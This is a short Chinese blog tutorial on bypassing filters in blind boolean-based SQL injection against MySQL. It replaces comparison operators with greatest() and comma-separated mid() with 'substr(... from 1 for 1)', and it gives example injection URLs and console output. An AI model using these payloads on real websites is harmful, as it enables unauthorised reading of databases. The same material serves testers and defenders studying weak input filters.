首页 技术 正文
技术 2022年11月14日
0 收藏 451 点赞 3,721 浏览 2212 个字

SQL注射的绕过技巧较多,此文仅做一些简单的总结。

最好利用的注射点:

支持Union

可报错

支持多行执行、可执行系统命令、可HTTP Request等额外有利条件

若非以上类型,则可能需要暴力猜解。猜解时,可能会遇到一些限制。攻击者要做的,就是将其个个击破。

1. 通过greatest函数绕过不能使用大小于符号的情况

猜解单个字符时,通常使用折半查找。

mysql> select ascii(mid(user(),1,1)) < 150;

+——————————+

| ascii(mid(user(),1,1)) < 150 |

+——————————+

|                            1 |

+——————————+

1

2

3

4

5

6

mysql> select ascii(mid(user(),1,1)) < 150;

+——————————+

| ascii(mid(user(),1,1)) < 150 |

+——————————+

|                            1 |

+——————————+

以上是判断user()第一个字符的ascii码是否小于150. 若小于150,返回true(1),否则返回false(0)。 可以看到,需要使用到大小于符号。

比如,对于一个boolean based注入。尝试:

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) < 150

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) >= 150

上述两个页面返回的内容应该是不同的。

但问题是,有些情形下,我们是不能使用大小于符号的(<>),被过滤了。

此时,可以通过greatest函数绕过。greatest(a,b),返回a和b中较大的那个数。

当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:

mysql> select greatest(ascii(mid(user(),1,1)),150)=150;

+——————————————+

| greatest(ascii(mid(user(),1,1)),150)=150 |

+——————————————+

|                                        1 |

+——————————————+

1

2

3

4

5

6

mysql> select greatest(ascii(mid(user(),1,1)),150)=150;

+——————————————+

| greatest(ascii(mid(user(),1,1)),150)=150 |

+——————————————+

|                                        1 |

+——————————————+

如果小于150,则上述返回值为True。

2. 通过substr函数绕过不能使用逗号的情况

不能使用逗号的情况较少,往往是因为逗号有某些特殊的作用,被单独处理了。

通常,猜解都是要用到逗号的,因为需要mid函数取字符呐:

ascii(mid(user(),1,1))=150

1

ascii(mid(user(),1,1))=150

绕过的方法是使用from x for y。语法类似:

mid(user() from 1 for 1)

substr(user() from 1 for 1)

1

2

3

mid(user() from 1 for 1)

substr(user() from 1 for 1)

以上同样是从第一个字符开始,取一位字符。

那么,不带逗号注入的语法,就可以变成:

mysql> select ascii(substr(user() from 1 for 1)) < 150;

+——————————————+

| ascii(substr(user() from 1 for 1)) < 150 |

+——————————————+

|                                        1 |

+——————————————+

mysql> select ascii(substr(user() from 1 for 1)) < 150;

+——————————————+

| ascii(substr(user() from 1 for 1)) < 150 |

+——————————————+

|                                        1 |

+——————————————+

是不是跟mid函数的效果是一样的,又没有用到逗号。

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,491
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,907
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,740
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,493
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:8,132
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:5,294